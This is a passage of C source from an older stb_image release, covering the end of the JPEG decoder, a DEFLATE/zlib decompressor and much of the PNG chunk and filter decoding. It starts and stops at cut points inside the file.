static void YCbCr_to_RGB_row(stbi__uint8 *out, const stbi__uint8 *y, const stbi__uint8 *pcb, const stbi__uint8 *pcr, int count, int step)
{
int i;
for (i=0; i < count; ++i) {
int y_fixed = (y[i] << 16) + 32768; // rounding
int r,g,b;
int cr = pcr[i] - 128;
int cb = pcb[i] - 128;
r = y_fixed + cr*float2fixed(1.40200f);
g = y_fixed - cr*float2fixed(0.71414f) - cb*float2fixed(0.34414f);
b = y_fixed + cb*float2fixed(1.77200f);
r >>= 16;
g >>= 16;
b >>= 16;
if ((unsigned) r > 255) { if (r < 0) r = 0; else r = 255; }
if ((unsigned) g > 255) { if (g < 0) g = 0; else g = 255; }
if ((unsigned) b > 255) { if (b < 0) b = 0; else b = 255; }
out[0] = (stbi__uint8)r;
out[1] = (stbi__uint8)g;
out[2] = (stbi__uint8)b;
out[3] = 255;
out += step;
}
}
#ifdef STBI_SIMD
static stbi_YCbCr_to_RGB_run stbi_YCbCr_installed = YCbCr_to_RGB_row;
void stbi_install_YCbCr_to_RGB(stbi_YCbCr_to_RGB_run func)
{
stbi_YCbCr_installed = func;
}
#endif
// clean up the temporary component buffers
static void cleanup_jpeg(jpeg *j)
{
int i;
for (i=0; i < j->s->img_n; ++i) {
if (j->img_comp[i].data) {
free(j->img_comp[i].raw_data);
j->img_comp[i].data = NULL;
}
if (j->img_comp[i].linebuf) {
free(j->img_comp[i].linebuf);
j->img_comp[i].linebuf = NULL;
}
}
}
typedef struct
{
resample_row_func resample;
stbi__uint8 *line0,*line1;
int hs,vs; // expansion factor in each axis
int w_lores; // horizontal pixels pre-expansion
int ystep; // how far through vertical expansion we are
int ypos; // which pre-expansion row we're on
} stbi_resample;
static stbi__uint8 *load_jpeg_image(jpeg *z, int *out_x, int *out_y, int *comp, int req_comp)
{
int n, decode_n;
// validate req_comp
if (req_comp < 0 || req_comp > 4) return epuc("bad req_comp", "Internal error");
z->s->img_n = 0;
// load a jpeg image from whichever source
if (!decode_jpeg_image(z)) { cleanup_jpeg(z); return NULL; }
// determine actual number of components to generate
n = req_comp ? req_comp : z->s->img_n;
if (z->s->img_n == 3 && n < 3)
decode_n = 1;
else
decode_n = z->s->img_n;
// resample and color-convert
{
int k;
unsigned int i,j;
stbi__uint8 *output;
stbi__uint8 *coutput[4];
stbi_resample res_comp[4];
for (k=0; k < decode_n; ++k) {
stbi_resample *r = &res_comp[k];
// allocate line buffer big enough for upsampling off the edges
// with upsample factor of 4
z->img_comp[k].linebuf = (stbi__uint8 *) malloc(z->s->img_x + 3);
if (!z->img_comp[k].linebuf) { cleanup_jpeg(z); return epuc("outofmem", "Out of memory"); }
r->hs = z->img_h_max / z->img_comp[k].h;
r->vs = z->img_v_max / z->img_comp[k].v;
r->ystep = r->vs >> 1;
r->w_lores = (z->s->img_x + r->hs-1) / r->hs;
r->ypos = 0;
r->line0 = r->line1 = z->img_comp[k].data;
if (r->hs == 1 && r->vs == 1) r->resample = resample_row_1;
else if (r->hs == 1 && r->vs == 2) r->resample = resample_row_v_2;
else if (r->hs == 2 && r->vs == 1) r->resample = resample_row_h_2;
else if (r->hs == 2 && r->vs == 2) r->resample = resample_row_hv_2;
else r->resample = resample_row_generic;
}
// can't error after this so, this is safe
output = (stbi__uint8 *) malloc(n * z->s->img_x * z->s->img_y + 1);
if (!output) { cleanup_jpeg(z); return epuc("outofmem", "Out of memory"); }
// now go ahead and resample
for (j=0; j < z->s->img_y; ++j) {
stbi__uint8 *out = output + n * z->s->img_x * j;
for (k=0; k < decode_n; ++k) {
stbi_resample *r = &res_comp[k];
int y_bot = r->ystep >= (r->vs >> 1);
coutput[k] = r->resample(z->img_comp[k].linebuf,
y_bot ? r->line1 : r->line0,
y_bot ? r->line0 : r->line1,
r->w_lores, r->hs);
if (++r->ystep >= r->vs) {
r->ystep = 0;
r->line0 = r->line1;
if (++r->ypos < z->img_comp[k].y)
r->line1 += z->img_comp[k].w2;
}
}
if (n >= 3) {
stbi__uint8 *y = coutput[0];
if (z->s->img_n == 3) {
#ifdef STBI_SIMD
stbi_YCbCr_installed(out, y, coutput[1], coutput[2], z->s->img_x, n);
#else
YCbCr_to_RGB_row(out, y, coutput[1], coutput[2], z->s->img_x, n);
#endif
} else
for (i=0; i < z->s->img_x; ++i) {
out[0] = out[1] = out[2] = y[i];
out[3] = 255; // not used if n==3
out += n;
}
} else {
stbi__uint8 *y = coutput[0];
if (n == 1)
for (i=0; i < z->s->img_x; ++i) out[i] = y[i];
else
for (i=0; i < z->s->img_x; ++i) (void)(*out++ = y[i]), *out++ = 255;
}
}
cleanup_jpeg(z);
*out_x = z->s->img_x;
*out_y = z->s->img_y;
if (comp) *comp = z->s->img_n; // report original components, not output
return output;
}
}
static unsigned char *stbi_jpeg_load(stbi *s, int *x, int *y, int *comp, int req_comp)
{
jpeg j;
j.s = s;
return load_jpeg_image(&j, x,y,comp,req_comp);
}
static int stbi_jpeg_test(stbi *s)
{
int r;
jpeg j;
j.s = s;
r = decode_jpeg_header(&j, SCAN_type);
stbi_rewind(s);
return r;
}
static int stbi_jpeg_info_raw(jpeg *j, int *x, int *y, int *comp)
{
if (!decode_jpeg_header(j, SCAN_header)) {
stbi_rewind( j->s );
return 0;
}
if (x) *x = j->s->img_x;
if (y) *y = j->s->img_y;
if (comp) *comp = j->s->img_n;
return 1;
}
static int stbi_jpeg_info(stbi *s, int *x, int *y, int *comp)
{
jpeg j;
j.s = s;
return stbi_jpeg_info_raw(&j, x, y, comp);
}
// public domain zlib decode v0.2 Sean Barrett 2006-11-18
// simple implementation
// - all input must be provided in an upfront buffer
// - all output is written to a single output buffer (can malloc/realloc)
// performance
// - fast huffman
// fast-way is faster to check than jpeg huffman, but slow way is slower
#define ZFAST_BITS 9 // accelerate all cases in default tables
#define ZFAST_MASK ((1 << ZFAST_BITS) - 1)
// zlib-style huffman encoding
// (jpegs packs from left, zlib from right, so can't share code)
typedef struct
{
stbi__uint16 fast[1 << ZFAST_BITS];
stbi__uint16 firstcode[16];
int maxcode[17];
stbi__uint16 firstsymbol[16];
stbi__uint8 size[288];
stbi__uint16 value[288];
} zhuffman;
stbi_inline static int bitreverse16(int n)
{
n = ((n & 0xAAAA) >> 1) | ((n & 0x5555) << 1);
n = ((n & 0xCCCC) >> 2) | ((n & 0x3333) << 2);
n = ((n & 0xF0F0) >> 4) | ((n & 0x0F0F) << 4);
n = ((n & 0xFF00) >> 8) | ((n & 0x00FF) << 8);
return n;
}
stbi_inline static int bit_reverse(int v, int bits)
{
assert(bits <= 16);
// to bit reverse n bits, reverse 16 and shift
// e.g. 11 bits, bit reverse and shift away 5
return bitreverse16(v) >> (16-bits);
}
static int zbuild_huffman(zhuffman *z, stbi__uint8 *sizelist, int num)
{
int i,k=0;
int code, next_code[16], sizes[17];
// DEFLATE spec for generating codes
memset(sizes, 0, sizeof(sizes));
memset(z->fast, 255, sizeof(z->fast));
for (i=0; i < num; ++i)
++sizes[sizelist[i]];
sizes[0] = 0;
for (i=1; i < 16; ++i)
assert(sizes[i] <= (1 << i));
code = 0;
for (i=1; i < 16; ++i) {
next_code[i] = code;
z->firstcode[i] = (stbi__uint16) code;
z->firstsymbol[i] = (stbi__uint16) k;
code = (code + sizes[i]);
if (sizes[i])
if (code-1 >= (1 << i)) return e("bad codelengths","Corrupt JPEG");
z->maxcode[i] = code << (16-i); // preshift for inner loop
code <<= 1;
k += sizes[i];
}
z->maxcode[16] = 0x10000; // sentinel
for (i=0; i < num; ++i) {
int s = sizelist[i];
if (s) {
int c = next_code[s] - z->firstcode[s] + z->firstsymbol[s];
z->size[c] = (stbi__uint8)s;
z->value[c] = (stbi__uint16)i;
if (s <= ZFAST_BITS) {
int k = bit_reverse(next_code[s],s);
while (k < (1 << ZFAST_BITS)) {
z->fast[k] = (stbi__uint16) c;
k += (1 << s);
}
}
++next_code[s];
}
}
return 1;
}
// zlib-from-memory implementation for PNG reading
// because PNG allows splitting the zlib stream arbitrarily,
// and it's annoying structurally to have PNG call ZLIB call PNG,
// we require PNG read all the IDATs and combine them into a single
// memory buffer
typedef struct
{
stbi__uint8 *zbuffer, *zbuffer_end;
int num_bits;
stbi__uint32 code_buffer;
char *zout;
char *zout_start;
char *zout_end;
int z_expandable;
zhuffman z_length, z_distance;
} zbuf;
stbi_inline static int zget8(zbuf *z)
{
if (z->zbuffer >= z->zbuffer_end) return 0;
return *z->zbuffer++;
}
static void fill_bits(zbuf *z)
{
do {
assert(z->code_buffer < (1U << z->num_bits));
z->code_buffer |= zget8(z) << z->num_bits;
z->num_bits += 8;
} while (z->num_bits <= 24);
}
stbi_inline static unsigned int zreceive(zbuf *z, int n)
{
unsigned int k;
if (z->num_bits < n) fill_bits(z);
k = z->code_buffer & ((1 << n) - 1);
z->code_buffer >>= n;
z->num_bits -= n;
return k;
}
stbi_inline static int zhuffman_decode(zbuf *a, zhuffman *z)
{
int b,s,k;
if (a->num_bits < 16) fill_bits(a);
b = z->fast[a->code_buffer & ZFAST_MASK];
if (b < 0xffff) {
s = z->size[b];
a->code_buffer >>= s;
a->num_bits -= s;
return z->value[b];
}
// not resolved by fast table, so compute it the slow way
// use jpeg approach, which requires MSbits at top
k = bit_reverse(a->code_buffer, 16);
for (s=ZFAST_BITS+1; ; ++s)
if (k < z->maxcode[s])
break;
if (s == 16) return -1; // invalid code!
// code size is s, so:
b = (k >> (16-s)) - z->firstcode[s] + z->firstsymbol[s];
assert(z->size[b] == s);
a->code_buffer >>= s;
a->num_bits -= s;
return z->value[b];
}
static int expand(zbuf *z, int n) // need to make room for n bytes
{
char *q;
int cur, limit;
if (!z->z_expandable) return e("output buffer limit","Corrupt PNG");
cur = (int) (z->zout - z->zout_start);
limit = (int) (z->zout_end - z->zout_start);
while (cur + n > limit)
limit *= 2;
q = (char *) realloc(z->zout_start, limit);
if (q == NULL) return e("outofmem", "Out of memory");
z->zout_start = q;
z->zout = q + cur;
z->zout_end = q + limit;
return 1;
}
static int length_base[31] = {
3,4,5,6,7,8,9,10,11,13,
15,17,19,23,27,31,35,43,51,59,
67,83,99,115,131,163,195,227,258,0,0 };
static int length_extra[31]=
{ 0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0 };
static int dist_base[32] = { 1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,
257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577,0,0};
static int dist_extra[32] =
{ 0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13};
static int parse_huffman_block(zbuf *a)
{
for(;;) {
int z = zhuffman_decode(a, &a->z_length);
if (z < 256) {
if (z < 0) return e("bad huffman code","Corrupt PNG"); // error in huffman codes
if (a->zout >= a->zout_end) if (!expand(a, 1)) return 0;
*a->zout++ = (char) z;
} else {
stbi__uint8 *p;
int len,dist;
if (z == 256) return 1;
z -= 257;
len = length_base[z];
if (length_extra[z]) len += zreceive(a, length_extra[z]);
z = zhuffman_decode(a, &a->z_distance);
if (z < 0) return e("bad huffman code","Corrupt PNG");
dist = dist_base[z];
if (dist_extra[z]) dist += zreceive(a, dist_extra[z]);
if (a->zout - a->zout_start < dist) return e("bad dist","Corrupt PNG");
if (a->zout + len > a->zout_end) if (!expand(a, len)) return 0;
p = (stbi__uint8 *) (a->zout - dist);
while (len--)
*a->zout++ = *p++;
}
}
}
static int compute_huffman_codes(zbuf *a)
{
static stbi__uint8 length_dezigzag[19] = { 16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15 };
zhuffman z_codelength;
stbi__uint8 lencodes[286+32+137];//padding for maximum single op
stbi__uint8 codelength_sizes[19];
int i,n;
int hlit = zreceive(a,5) + 257;
int hdist = zreceive(a,5) + 1;
int hclen = zreceive(a,4) + 4;
memset(codelength_sizes, 0, sizeof(codelength_sizes));
for (i=0; i < hclen; ++i) {
int s = zreceive(a,3);
codelength_sizes[length_dezigzag[i]] = (stbi__uint8) s;
}
if (!zbuild_huffman(&z_codelength, codelength_sizes, 19)) return 0;
n = 0;
while (n < hlit + hdist) {
int c = zhuffman_decode(a, &z_codelength);
assert(c >= 0 && c < 19);
if (c < 16)
lencodes[n++] = (stbi__uint8) c;
else if (c == 16) {
c = zreceive(a,2)+3;
memset(lencodes+n, lencodes[n-1], c);
n += c;
} else if (c == 17) {
c = zreceive(a,3)+3;
memset(lencodes+n, 0, c);
n += c;
} else {
assert(c == 18);
c = zreceive(a,7)+11;
memset(lencodes+n, 0, c);
n += c;
}
}
if (n != hlit+hdist) return e("bad codelengths","Corrupt PNG");
if (!zbuild_huffman(&a->z_length, lencodes, hlit)) return 0;
if (!zbuild_huffman(&a->z_distance, lencodes+hlit, hdist)) return 0;
return 1;
}
static int parse_uncompressed_block(zbuf *a)
{
stbi__uint8 header[4];
int len,nlen,k;
if (a->num_bits & 7)
zreceive(a, a->num_bits & 7); // discard
// drain the bit-packed data into header
k = 0;
while (a->num_bits > 0) {
header[k++] = (stbi__uint8) (a->code_buffer & 255); // wtf this warns?
a->code_buffer >>= 8;
a->num_bits -= 8;
}
assert(a->num_bits == 0);
// now fill header the normal way
while (k < 4)
header[k++] = (stbi__uint8) zget8(a);
len = header[1] * 256 + header[0];
nlen = header[3] * 256 + header[2];
if (nlen != (len ^ 0xffff)) return e("zlib corrupt","Corrupt PNG");
if (a->zbuffer + len > a->zbuffer_end) return e("read past buffer","Corrupt PNG");
if (a->zout + len > a->zout_end)
if (!expand(a, len)) return 0;
memcpy(a->zout, a->zbuffer, len);
a->zbuffer += len;
a->zout += len;
return 1;
}
static int parse_zlib_header(zbuf *a)
{
int cmf = zget8(a);
int cm = cmf & 15;
/* int cinfo = cmf >> 4; */
int flg = zget8(a);
if ((cmf*256+flg) % 31 != 0) return e("bad zlib header","Corrupt PNG"); // zlib spec
if (flg & 32) return e("no preset dict","Corrupt PNG"); // preset dictionary not allowed in png
if (cm != 8) return e("bad compression","Corrupt PNG"); // DEFLATE required for png
// window = 1 << (8 + cinfo)... but who cares, we fully buffer output
return 1;
}
// @TODO: should statically initialize these for optimal thread safety
static stbi__uint8 default_length[288], default_distance[32];
static void init_defaults(void)
{
int i; // use <= to match clearly with spec
for (i=0; i <= 143; ++i) default_length[i] = 8;
for ( ; i <= 255; ++i) default_length[i] = 9;
for ( ; i <= 279; ++i) default_length[i] = 7;
for ( ; i <= 287; ++i) default_length[i] = 8;
for (i=0; i <= 31; ++i) default_distance[i] = 5;
}
int stbi_png_partial; // a quick hack to only allow decoding some of a PNG... I should implement real streaming support instead
static int parse_zlib(zbuf *a, int parse_header)
{
int final, type;
if (parse_header)
if (!parse_zlib_header(a)) return 0;
a->num_bits = 0;
a->code_buffer = 0;
do {
final = zreceive(a,1);
type = zreceive(a,2);
if (type == 0) {
if (!parse_uncompressed_block(a)) return 0;
} else if (type == 3) {
return 0;
} else {
if (type == 1) {
// use fixed code lengths
if (!default_distance[31]) init_defaults();
if (!zbuild_huffman(&a->z_length , default_length , 288)) return 0;
if (!zbuild_huffman(&a->z_distance, default_distance, 32)) return 0;
} else {
if (!compute_huffman_codes(a)) return 0;
}
if (!parse_huffman_block(a)) return 0;
}
if (stbi_png_partial && a->zout - a->zout_start > 65536)
break;
} while (!final);
return 1;
}
static int do_zlib(zbuf *a, char *obuf, int olen, int exp, int parse_header)
{
a->zout_start = obuf;
a->zout = obuf;
a->zout_end = obuf + olen;
a->z_expandable = exp;
return parse_zlib(a, parse_header);
}
char *stbi_zlib_decode_malloc_guesssize(const char *buffer, int len, int initial_size, int *outlen)
{
zbuf a;
char *p = (char *) malloc(initial_size);
if (p == NULL) return NULL;
a.zbuffer = (stbi__uint8 *) buffer;
a.zbuffer_end = (stbi__uint8 *) buffer + len;
if (do_zlib(&a, p, initial_size, 1, 1)) {
if (outlen) *outlen = (int) (a.zout - a.zout_start);
return a.zout_start;
} else {
free(a.zout_start);
return NULL;
}
}
char *stbi_zlib_decode_malloc(char const *buffer, int len, int *outlen)
{
return stbi_zlib_decode_malloc_guesssize(buffer, len, 16384, outlen);
}
char *stbi_zlib_decode_malloc_guesssize_headerflag(const char *buffer, int len, int initial_size, int *outlen, int parse_header)
{
zbuf a;
char *p = (char *) malloc(initial_size);
if (p == NULL) return NULL;
a.zbuffer = (stbi__uint8 *) buffer;
a.zbuffer_end = (stbi__uint8 *) buffer + len;
if (do_zlib(&a, p, initial_size, 1, parse_header)) {
if (outlen) *outlen = (int) (a.zout - a.zout_start);
return a.zout_start;
} else {
free(a.zout_start);
return NULL;
}
}
int stbi_zlib_decode_buffer(char *obuffer, int olen, char const *ibuffer, int ilen)
{
zbuf a;
a.zbuffer = (stbi__uint8 *) ibuffer;
a.zbuffer_end = (stbi__uint8 *) ibuffer + ilen;
if (do_zlib(&a, obuffer, olen, 0, 1))
return (int) (a.zout - a.zout_start);
else
return -1;
}
char *stbi_zlib_decode_noheader_malloc(char const *buffer, int len, int *outlen)
{
zbuf a;
char *p = (char *) malloc(16384);
if (p == NULL) return NULL;
a.zbuffer = (stbi__uint8 *) buffer;
a.zbuffer_end = (stbi__uint8 *) buffer+len;
if (do_zlib(&a, p, 16384, 1, 0)) {
if (outlen) *outlen = (int) (a.zout - a.zout_start);
return a.zout_start;
} else {
free(a.zout_start);
return NULL;
}
}
int stbi_zlib_decode_noheader_buffer(char *obuffer, int olen, const char *ibuffer, int ilen)
{
zbuf a;
a.zbuffer = (stbi__uint8 *) ibuffer;
a.zbuffer_end = (stbi__uint8 *) ibuffer + ilen;
if (do_zlib(&a, obuffer, olen, 0, 0))
return (int) (a.zout - a.zout_start);
else
return -1;
}
// public domain "baseline" PNG decoder v0.10 Sean Barrett 2006-11-18
// simple implementation
// - only 8-bit samples
// - no CRC checking
// - allocates lots of intermediate memory
// - avoids problem of streaming data between subsystems
// - avoids explicit window management
// performance
// - uses stb_zlib, a PD zlib implementation with fast huffman decoding
typedef struct
{
stbi__uint32 length;
stbi__uint32 type;
} chunk;
#define PNG_TYPE(a,b,c,d) (((a) << 24) + ((b) << 16) + ((c) << 8) + (d))
static chunk get_chunk_header(stbi *s)
{
chunk c;
c.length = get32(s);
c.type = get32(s);
return c;
}
static int check_png_header(stbi *s)
{
static stbi__uint8 png_sig[8] = { 137,80,78,71,13,10,26,10 };
int i;
for (i=0; i < 8; ++i)
if (get8u(s) != png_sig[i]) return e("bad png sig","Not a PNG");
return 1;
}
typedef struct
{
stbi *s;
stbi__uint8 *idata, *expanded, *out;
} png;
enum {
F_none=0, F_sub=1, F_up=2, F_avg=3, F_paeth=4,
F_avg_first, F_paeth_first
};
static stbi__uint8 first_row_filter[5] =
{
F_none, F_sub, F_none, F_avg_first, F_paeth_first
};
static int paeth(int a, int b, int c)
{
int p = a + b - c;
int pa = abs(p-a);
int pb = abs(p-b);
int pc = abs(p-c);
if (pa <= pb && pa <= pc) return a;
if (pb <= pc) return b;
return c;
}
// create the png data from post-deflated data
static int create_png_image_raw(png *a, stbi__uint8 *raw, stbi__uint32 raw_len, int out_n, stbi__uint32 x, stbi__uint32 y)
{
stbi *s = a->s;
stbi__uint32 i,j,stride = x*out_n;
int k;
int img_n = s->img_n; // copy it into a local for later
assert(out_n == s->img_n || out_n == s->img_n+1);
if (stbi_png_partial) y = 1;
a->out = (stbi__uint8 *) malloc(x * y * out_n);
if (!a->out) return e("outofmem", "Out of memory");
if (!stbi_png_partial) {
if (s->img_x == x && s->img_y == y) {
if (raw_len != (img_n * x + 1) * y) return e("not enough pixels","Corrupt PNG");
} else { // interlaced:
if (raw_len < (img_n * x + 1) * y) return e("not enough pixels","Corrupt PNG");
}
}
for (j=0; j < y; ++j) {
stbi__uint8 *cur = a->out + stride*j;
stbi__uint8 *prior = cur - stride;
int filter = *raw++;
if (filter > 4) return e("invalid filter","Corrupt PNG");
// if first row, use special filter that doesn't sample previous row
if (j == 0) filter = first_row_filter[filter];
// handle first pixel explicitly
for (k=0; k < img_n; ++k) {
switch (filter) {
case F_none : cur[k] = raw[k]; break;
case F_sub : cur[k] = raw[k]; break;
case F_up : cur[k] = raw[k] + prior[k]; break;
case F_avg : cur[k] = raw[k] + (prior[k]>>1); break;
case F_paeth : cur[k] = (stbi__uint8) (raw[k] + paeth(0,prior[k],0)); break;
case F_avg_first : cur[k] = raw[k]; break;
case F_paeth_first: cur[k] = raw[k]; break;
}
}
if (img_n != out_n) cur[img_n] = 255;
raw += img_n;
cur += out_n;
prior += out_n;
// this is a little gross, so that we don't switch per-pixel or per-component
if (img_n == out_n) {
#define CASE(f) \
case f: \
for (i=x-1; i >= 1; --i, raw+=img_n,cur+=img_n,prior+=img_n) \
for (k=0; k < img_n; ++k)
switch (filter) {
CASE(F_none) cur[k] = raw[k]; break;
CASE(F_sub) cur[k] = raw[k] + cur[k-img_n]; break;
CASE(F_up) cur[k] = raw[k] + prior[k]; break;
CASE(F_avg) cur[k] = raw[k] + ((prior[k] + cur[k-img_n])>>1); break;
CASE(F_paeth) cur[k] = (stbi__uint8) (raw[k] + paeth(cur[k-img_n],prior[k],prior[k-img_n])); break;
CASE(F_avg_first) cur[k] = raw[k] + (cur[k-img_n] >> 1); break;
CASE(F_paeth_first) cur[k] = (stbi__uint8) (raw[k] + paeth(cur[k-img_n],0,0)); break;
}
#undef CASE
} else {
assert(img_n+1 == out_n);
#define CASE(f) \
case f: \
for (i=x-1; i >= 1; --i, cur[img_n]=255,raw+=img_n,cur+=out_n,prior+=out_n) \
for (k=0; k < img_n; ++k)
switch (filter) {
CASE(F_none) cur[k] = raw[k]; break;
CASE(F_sub) cur[k] = raw[k] + cur[k-out_n]; break;
CASE(F_up) cur[k] = raw[k] + prior[k]; break;
CASE(F_avg) cur[k] = raw[k] + ((prior[k] + cur[k-out_n])>>1); break;
CASE(F_paeth) cur[k] = (stbi__uint8) (raw[k] + paeth(cur[k-out_n],prior[k],prior[k-out_n])); break;
CASE(F_avg_first) cur[k] = raw[k] + (cur[k-out_n] >> 1); break;
CASE(F_paeth_first) cur[k] = (stbi__uint8) (raw[k] + paeth(cur[k-out_n],0,0)); break;
}
#undef CASE
}
}
return 1;
}
static int create_png_image(png *a, stbi__uint8 *raw, stbi__uint32 raw_len, int out_n, int interlaced)
{
stbi__uint8 *final;
int p;
int save;
if (!interlaced)
return create_png_image_raw(a, raw, raw_len, out_n, a->s->img_x, a->s->img_y);
save = stbi_png_partial;
stbi_png_partial = 0;
// de-interlacing
final = (stbi__uint8 *) malloc(a->s->img_x * a->s->img_y * out_n);
for (p=0; p < 7; ++p) {
int xorig[] = { 0,4,0,2,0,1,0 };
int yorig[] = { 0,0,4,0,2,0,1 };
int xspc[] = { 8,8,4,4,2,2,1 };
int yspc[] = { 8,8,8,4,4,2,2 };
int i,j,x,y;
// pass1_x[4] = 0, pass1_x[5] = 1, pass1_x[12] = 1
x = (a->s->img_x - xorig[p] + xspc[p]-1) / xspc[p];
y = (a->s->img_y - yorig[p] + yspc[p]-1) / yspc[p];
if (x && y) {
if (!create_png_image_raw(a, raw, raw_len, out_n, x, y)) {
free(final);
return 0;
}
for (j=0; j < y; ++j)
for (i=0; i < x; ++i)
memcpy(final + (j*yspc[p]+yorig[p])*a->s->img_x*out_n + (i*xspc[p]+xorig[p])*out_n,
a->out + (j*x+i)*out_n, out_n);
free(a->out);
raw += (x*out_n+1)*y;
raw_len -= (x*out_n+1)*y;
}
}
a->out = final;
stbi_png_partial = save;
return 1;
}
static int compute_transparency(png *z, stbi__uint8 tc[3], int out_n)
{
stbi *s = z->s;
stbi__uint32 i, pixel_count = s->img_x * s->img_y;
stbi__uint8 *p = z->out;
// compute color-based transparency, assuming we've
// already got 255 as the alpha value in the output
assert(out_n == 2 || out_n == 4);
if (out_n == 2) {
for (i=0; i < pixel_count; ++i) {
p[1] = (p[0] == tc[0] ? 0 : 255);
p += 2;
}
} else {
for (i=0; i < pixel_count; ++i) {
if (p[0] == tc[0] && p[1] == tc[1] && p[2] == tc[2])
p[3] = 0;
p += 4;
}
}
return 1;
}
static int expand_palette(png *a, stbi__uint8 *palette, int len, int pal_img_n)
{
stbi__uint32 i, pixel_count = a->s->img_x * a->s->img_y;
stbi__uint8 *p, *temp_out, *orig = a->out;
p = (stbi__uint8 *) malloc(pixel_count * pal_img_n);
if (p == NULL) return e("outofmem", "Out of memory");
// between here and free(out) below, exitting would leak
temp_out = p;
if (pal_img_n == 3) {
for (i=0; i < pixel_count; ++i) {
int n = orig[i]*4;
p[0] = palette[n ];
p[1] = palette[n+1];
p[2] = palette[n+2];
p += 3;
}
} else {
for (i=0; i < pixel_count; ++i) {
int n = orig[i]*4;
p[0] = palette[n ];
p[1] = palette[n+1];
p[2] = palette[n+2];
p[3] = palette[n+3];
p += 4;
}
}
free(a->out);
a->out = temp_out;
STBI_NOTUSED(len);
return 1;
}
static int stbi_unpremultiply_on_load = 0;
static int stbi_de_iphone_flag = 0;
void stbi_set_unpremultiply_on_load(int flag_true_if_should_unpremultiply)
{
stbi_unpremultiply_on_load = flag_true_if_should_unpremultiply;
}
void stbi_convert_iphone_png_to_rgb(int flag_true_if_should_convert)
{
stbi_de_iphone_flag = flag_true_if_should_convert;
}
static void stbi_de_iphone(png *z)
{
stbi *s = z->s;
stbi__uint32 i, pixel_count = s->img_x * s->img_y;
stbi__uint8 *p = z->out;
if (s->img_out_n == 3) { // convert bgr to rgb
for (i=0; i < pixel_count; ++i) {
stbi__uint8 t = p[0];
p[0] = p[2];
p[2] = t;
p += 3;
}
} else {
assert(s->img_out_n == 4);
if (stbi_unpremultiply_on_load) {
// convert bgr to rgb and unpremultiply
for (i=0; i < pixel_count; ++i) {
stbi__uint8 a = p[3];
stbi__uint8 t = p[0];
if (a) {
p[0] = p[2] * 255 / a;
p[1] = p[1] * 255 / a;
p[2] = t * 255 / a;
} else {
p[0] = p[2];
p[2] = t;
}
p += 4;
}
} else {
// convert bgr to rgb
for (i=0; i < pixel_count; ++i) {
stbi__uint8 t = p[0];
p[0] = p[2];
p[2] = t;
p += 4;
}
}
}
}
static int parse_png_file(png *z, int scan, int req_comp)
{
stbi__uint8 palette[1024], pal_img_n=0;
stbi__uint8 has_trans=0, tc[3];
stbi__uint32 ioff=0, idata_limit=0, i, pal_len=0;
int first=1,k,interlace=0, iphone=0;
stbi *s = z->s;
z->expanded = NULL;
z->idata = NULL;
z->out = NULL;
if (!check_png_header(s)) return 0;
if (scan == SCAN_type) return 1;
for (;;) {
chunk c = get_chunk_header(s);
switch (c.type) {
case PNG_TYPE('C','g','B','I'):
iphone = stbi_de_iphone_flag;
skip(s, c.length);
break;
case PNG_TYPE('I','H','D','R'): {
int depth,color,comp,filter;
if (!first) return e("multiple IHDR","Corrupt PNG");
first = 0;
if (c.length != 13) return e("bad IHDR len","Corrupt PNG");
s->img_x = get32(s); if (s->img_x > (1 << 24)) return e("too large","Very large image (corrupt?)");
s->img_y = get32(s); if (s->img_y > (1 << 24)) return e("too large","Very large image (corrupt?)");
depth = get8(s); if (depth != 8) return e("8bit only","PNG not supported: 8-bit only");
color = get8(s); if (color > 6) return e("bad ctype","Corrupt PNG");
if (color == 3) pal_img_n = 3; else if (color & 1) return e("bad ctype","Corrupt PNG");
comp = get8(s); if (comp) return e("bad comp method","Corrupt PNG");
filter= get8(s); if (filter) return e("bad filter method","Corrupt PNG");
interlace = get8(s); if (interlace>1) return e("bad interlace method","Corrupt PNG");
if (!s->img_x || !s->img_y) return e("0-pixel image","Corrupt PNG");
if (!pal_img_n) {
s->img_n = (color & 2 ? 3 : 1) + (color & 4 ? 1 : 0);
if ((1 << 30) / s->img_x / s->img_n < s->img_y) return e("too large", "Image too large to decode");
if (scan == SCAN_header) return 1;
} else {
// if paletted, then pal_n is our final components, and
// img_n is # components to decompress/filter.
s->img_n = 1;
if ((1 << 30) / s->img_x / 4 < s->img_y) return e("too large","Corrupt PNG");
// if SCAN_header, have to scan to see if we have a tRNS
}
break;
}
case PNG_TYPE('P','L','T','E'): {
if (first) return e("first not IHDR", "Corrupt PNG");
if (c.length > 256*3) return e("invalid PLTE","Corrupt PNG");
pal_len = c.length / 3;
if (pal_len * 3 != c.length) return e("invalid PLTE","Corrupt PNG");
for (i=0; i < pal_len; ++i) {
palette[i*4+0] = get8u(s);
palette[i*4+1] = get8u(s);
palette[i*4+2] = get8u(s);
palette[i*4+3] = 255;
}
break;
}
case PNG_TYPE('t','R','N','S'): {
if (first) return e("first not IHDR", "Corrupt PNG");
if (z->idata) return e("tRNS after IDAT","Corrupt PNG");
if (pal_img_n) {
if (scan == SCAN_header) { s->img_n = 4; return 1; }
if (pal_len == 0) return e("tRNS before PLTE","Corrupt PNG");
if (c.length > pal_len) return e("bad tRNS len","Corrupt PNG");
pal_img_n = 4;
for (i=0; i < c.length; ++i)
palette[i*4+3] = get8u(s);
} else {
if (!(s->img_n & 1)) return e("tRNS with alpha","Corrupt PNG");
if (c.length != (stbi__uint32) s->img_n*2) return e("bad tRNS len","Corrupt PNG");
has_trans = 1;
for (k=0; k < s->img_n; ++k)
tc[k] = (stbi__uint8) get16(s); // non 8-bit images will be larger
}
break;
}
case PNG_TYPE('I','D','A','T'): {
if (first) return e("first not IHDR", "Corrupt PNG");
if (pal_img_n && !pal_len) return e("no PLTE","Corrupt PNG");
if (scan == SCAN_header) { s->img_n = pal_img_n; return 1; }
if (ioff + c.length > idata_limit) {
stbi__uint8 *p;
if (idata_limit == 0) idata_limit = c.length > 4096 ? c.length : 4096;
while (ioff + c.length > idata_limit)
idata_limit *= 2;
p = (stbi__uint8 *) realloc(z->idata, idata_limit); if (p == NULL) return e("outofmem", "Out of memory");
z->idata = p;
}
if (!getn(s, z->idata+ioff,c.length)) return e("outofdata","Corrupt PNG");
ioff += c.length;
break;
}
